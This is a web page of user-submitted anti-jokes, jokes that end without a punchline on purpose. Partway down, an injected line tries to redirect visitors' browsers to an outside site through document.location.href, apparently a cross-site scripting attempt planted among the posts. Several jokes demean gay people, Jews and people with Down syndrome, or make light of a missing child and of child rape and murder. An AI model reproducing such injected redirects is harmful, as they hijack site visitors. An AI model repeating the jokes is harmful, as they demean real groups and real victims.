- Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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What do you call a psychic midget who has escaped from prison? Wanted by the police.

"'>document.location.href="http://cramik.org"

What's worst than dropping your watch into the gutter? Waking up with a penis on your head.

What's big and gray and can't climb a tree? A parking lot.

a Gay Man Walks Into A Bar And See's its Only Women In There, He Screams And Leaves

mitchell palmer sucks

my friend died in a car crash, now i have no friends.

Why did the Jewish man bend down to pick up a penny? Because he had dropped it and required the penny as part of his payment for his food.

A man walks into a bar, and then a second man walks into a bar. The third man ducked.

Why do women have boobs? In order to feed their infants

Where did Suzy go after the explosion? - Everywhere.

Why couldn't Jack join the football team? Jack has down syndrome

Your momma is so stupid your momma forgot that jesus did exist and has been proven by historians to have existed

One spooky halloween night, three lonely outcasts walk down a dark street, no longer begging for candy. A cold wind blows through the night air and something rustles in a nearby bush one kid walks over to the bush and picks up his dog "OH THERE YOU ARE, BUDDY!"

What happens after Madeline McCann disappears. Jokes.

Q: why did the dad drop his baby? A: she was slippery.

Whats worse than finding a worm in your apple? Finding half a worm.

A man walked into a bar. He needed 5 stitches.

Nothing. He made it home safely.

"Why can't you hear pterodactyl when it goes to the bathroom?" "Because the pee is silent?" "No, because they are dead, you idiot."

What is striped black and white? A prisoner in jail arrested for the murder and rape of a 7 year old child.

Shah I'm being chased by a man riding instead a pig in a caravan smoking Apparently I'm a man riding on a pig in a caravan smoking

why are anti-jokes so funny? they aren't. they're stupid.

Why did the chicken cross the road? Cause fuck you thats why

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